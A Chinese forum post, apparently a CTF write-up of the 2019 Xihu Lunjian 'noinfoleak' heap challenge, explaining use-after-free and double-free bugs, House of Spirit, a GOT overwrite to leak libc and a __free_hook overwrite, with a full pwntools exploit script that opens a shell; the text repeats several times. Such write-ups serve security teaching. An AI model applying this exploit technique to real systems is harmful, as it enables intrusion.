首页
社区
课程
招聘
[原创]2019-西湖论剑 noinfoleak
发表于: 2019-4-8 09:56 22809

[原创]2019-西湖论剑 noinfoleak

2019-4-8 09:56
22809

UAF

double free

结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin

got、plt的延迟机制
House of Spirit
[*] '/home/leo/Desktop/xihu/noinfoleak'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO    //got表可写
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)    //随机地址没开

程序逻辑

1、

void add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int len; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !list[2 * i] )
    {
      putchar('>');
      len = read_number();
      if ( len > 0 && len <= 0x7F )    //限制size
      {
        list[2 * i + 1] = (void *)len;
        list[2 * i] = malloc(len + 1);
        putchar('>');
        read(0, list[2 * i], len);
      }
      return;
    }
  }
}

结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin

2、

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  putchar(62);
  v0 = read_number();
  if ( v0 >= 0 && v0 <= 15 )
    free(list[2 * v0]);    //double free
}

free后没有清空指针,存在double free漏洞

3、

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  putchar(62);
  result = read_number();
  v1 = result;
  if ( result >= 0 && result <= 15 )
  {
    putchar(62);
    result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]);    //UAF
  }
  return result;
}

在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞

可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)

利用思路

1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做 House of Spirit 。 House of Spirit 实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk 。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。

具体实现

第一步:任意写

lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))    #改fd

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O

第二步:leak libc

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。

第三步:为所欲为

剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。

EXP

from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
	#context.log_level='debug'
	cn=process('./noinfoleak')
	elf=ELF('./noinfoleak')
	#libc=ELF('./libc-2.23.so')
	libc=elf.libc

s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) 
sl      = lambda data               :cn.sendline(str(data)) 
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl	= lambda 	            :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))


def add(size,value):
	ru('>')
	sl(1)
	ru('>')
	sl(size)
	ru('>')
	s(value)
def dele(ind):
	ru('>')
	sl(2)
	ru('>')
	sl(ind)
def edit(ind,value):
	ru('>')
	sl(3)
	#sla('>',3)
	sla('>',ind)
	sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))

dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))

sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()

1、

void add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int len; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !list[2 * i] )
    {
      putchar('>');
      len = read_number();
      if ( len > 0 && len <= 0x7F )    //限制size
      {
        list[2 * i + 1] = (void *)len;
        list[2 * i] = malloc(len + 1);
        putchar('>');
        read(0, list[2 * i], len);
      }
      return;
    }
  }
}

结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin

2、

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  putchar(62);
  v0 = read_number();
  if ( v0 >= 0 && v0 <= 15 )
    free(list[2 * v0]);    //double free
}

free后没有清空指针,存在double free漏洞

3、

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  putchar(62);
  result = read_number();
  v1 = result;
  if ( result >= 0 && result <= 15 )
  {
    putchar(62);
    result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]);    //UAF
  }
  return result;
}

在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞

可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)

利用思路

1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做 House of Spirit 。 House of Spirit 实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk 。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。

具体实现

第一步:任意写

lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))    #改fd

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O

第二步:leak libc

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。

第三步:为所欲为

剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。

EXP

from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
	#context.log_level='debug'
	cn=process('./noinfoleak')
	elf=ELF('./noinfoleak')
	#libc=ELF('./libc-2.23.so')
	libc=elf.libc

s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) 
sl      = lambda data               :cn.sendline(str(data)) 
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl	= lambda 	            :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))


def add(size,value):
	ru('>')
	sl(1)
	ru('>')
	sl(size)
	ru('>')
	s(value)
def dele(ind):
	ru('>')
	sl(2)
	ru('>')
	sl(ind)
def edit(ind,value):
	ru('>')
	sl(3)
	#sla('>',3)
	sla('>',ind)
	sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))

dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))

sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()

void add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int len; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !list[2 * i] )
    {
      putchar('>');
      len = read_number();
      if ( len > 0 && len <= 0x7F )    //限制size
      {
        list[2 * i + 1] = (void *)len;
        list[2 * i] = malloc(len + 1);
        putchar('>');
        read(0, list[2 * i], len);
      }
      return;
    }
  }
}

结构体很简单,在bss段中的list列表中,一项16字节,前8个字节存放堆指针,后8个字节存放可写的大小。限制堆的大小最大为0x7f,刚好能形成0x90实际大小的chunk,free后可以放入unsortedbin

2、

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  putchar(62);
  v0 = read_number();
  if ( v0 >= 0 && v0 <= 15 )
    free(list[2 * v0]);    //double free
}

free后没有清空指针,存在double free漏洞

3、

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  putchar(62);
  result = read_number();
  v1 = result;
  if ( result >= 0 && result <= 15 )
  {
    putchar(62);
    result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]);    //UAF
  }
  return result;
}

在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞

可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)

利用思路

1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做 House of Spirit 。 House of Spirit 实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk 。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。

具体实现

第一步:任意写

lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))    #改fd

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O

第二步:leak libc

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。

第三步:为所欲为

剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。

EXP

from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
	#context.log_level='debug'
	cn=process('./noinfoleak')
	elf=ELF('./noinfoleak')
	#libc=ELF('./libc-2.23.so')
	libc=elf.libc

s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) 
sl      = lambda data               :cn.sendline(str(data)) 
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl	= lambda 	            :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))


def add(size,value):
	ru('>')
	sl(1)
	ru('>')
	sl(size)
	ru('>')
	s(value)
def dele(ind):
	ru('>')
	sl(2)
	ru('>')
	sl(ind)
def edit(ind,value):
	ru('>')
	sl(3)
	#sla('>',3)
	sla('>',ind)
	sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))

dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))

sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  putchar(62);
  v0 = read_number();
  if ( v0 >= 0 && v0 <= 15 )
    free(list[2 * v0]);    //double free
}

free后没有清空指针,存在double free漏洞

3、

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  putchar(62);
  result = read_number();
  v1 = result;
  if ( result >= 0 && result <= 15 )
  {
    putchar(62);
    result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]);    //UAF
  }
  return result;
}

在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞

可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)

利用思路

1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做 House of Spirit 。 House of Spirit 实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk 。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。

具体实现

第一步:任意写

lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))    #改fd

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
创建4个chunk,其中size为0x7f的chunk2是用来free的,以便在puts的时候输出libc;chunk3是用来防止free的时候与top chunk合并的。
delete之后,fastbin的头部应该是chunk1,通过利用UAF改fd分配到fake_chunk,然后分配两次0x5f,第二次将fake_chunk分配出来。
分配前:
第一次分配后:
第二次分配后:
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
(以上截图分别启动程序调试得到的结果,因此一些地址信息是不一样的)
可以发现chunk1和chunk2都指向list,并且size都很大,实现任意写O(∩_∩)O

第二步:leak libc

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
通过edit chunk2的内容改写chunk0的指针为free的got地址,然后往got表中写puts的plt地址
下次调用free的时候的流程是:free->free_got->puts_plt->puts。也就是,调用free函数,会先找free_got中的指针是否已经绑定为实际内存中free的函数指针(延迟绑定机制),如果没有,就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址,并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。

第三步:为所欲为

剩下的就很简单了,改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针,否则不能触发free_hook。

EXP

from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
	#context.log_level='debug'
	cn=process('./noinfoleak')
	elf=ELF('./noinfoleak')
	#libc=ELF('./libc-2.23.so')
	libc=elf.libc

s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) 
sl      = lambda data               :cn.sendline(str(data)) 
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl	= lambda 	            :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))


def add(size,value):
	ru('>')
	sl(1)
	ru('>')
	sl(size)
	ru('>')
	s(value)
def dele(ind):
	ru('>')
	sl(2)
	ru('>')
	sl(ind)
def edit(ind,value):
	ru('>')
	sl(3)
	#sla('>',3)
	sla('>',ind)
	sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)

fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))

pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6

edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))

dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))

sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  putchar(62);
  v0 = read_number();
  if ( v0 >= 0 && v0 <= 15 )
    free(list[2 * v0]);    //double free
}

free后没有清空指针,存在double free漏洞

3、

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  putchar(62);
  result = read_number();
  v1 = result;
  if ( result >= 0 && result <= 15 )
  {
    putchar(62);
    result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]);    //UAF
  }
  return result;
}

在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞

可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)

利用思路

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  putchar(62);
  result = read_number();
  v1 = result;
  if ( result >= 0 && result <= 15 )
  {
    putchar(62);
    result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]);    //UAF
  }
  return result;
}

在读入数据之前,没有检查list中该项是否已经free,存在use after free漏洞

可以发现,程序逻辑中没有输出功能的函数,这也是这题的难点,也算比较典型的一种no information leak的题目了(正如题目名称一样)

利用思路

1、任意读和任意写经常是pwn题getshell的两个条件(如果能同时满足任意读写,就基本上能主宰一切hhh,这时可以说就是GOD了,这也是做Pwn的一个乐趣)既然读不了,那先看看我能不能任意写。程序逻辑中存在很多漏洞,第一种方法可以通过double free改写fd,第二种方法直接利用UAF写fd。这里我采用第二种方法,比较简单(其实都不难)。
2、写fd要写到哪里,malloc的时候还得检查大小。。
按照经验,可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d,将这个fake_chunk放入fastbin中,接下来malloc分配到这个地址。这种技术叫做 House of Spirit 。 House of Spirit 实现的最终效果,也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址,将伪chunk放入fastbin,进而使随后的malloc返回此伪chunk 。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了,接下来怎么读呢?第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中,再将其puts出来。听说还有第二种方法是爆破半个字节的libc(1/16几率命中),分配到stdout中改写_IO_write_base指针来leak libc,期待大佬wp。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-8-31 10:23 被Snowleo编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (8)
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
2
我刚好用的第二种解
2019-4-8 11:05
0
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
3
VINKKe [em_78]我刚好用的第二种解
你是说爆破半字节libc吗,求大佬wp
2019-4-8 11:51
0
雪    币: 29192
活跃值: (63716)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
4
VINKKe [em_78]我刚好用的第二种解
坐等wp
2019-4-9 09:19
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
5
Snowleo 你是说爆破半字节libc吗,求大佬wp
http://v1nke.win/2019/04/09/2019-%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91-PWN/
最后于 2019-4-9 22:56 被V1NKe编辑 ,原因:
2019-4-9 22:56
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
6
Editor 坐等wp[em_86]
已发
2019-4-9 22:57
0
雪    币: 270
活跃值: (1662)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
7
有storm_note的elf吗,在找那个题目,谢谢
2019-8-26 20:34
0
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
8
wx__y 有storm_note的elf吗,在找那个题目,谢谢
已更新
2019-8-31 10:23
1
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
9
兄弟,我在想一个问题,既然都能改写got表了何必还要写free_hook呢?把free_got改了不是更省事嘛?
2022-6-15 15:57
0
游客
登录 | 注册 方可回帖
返回
//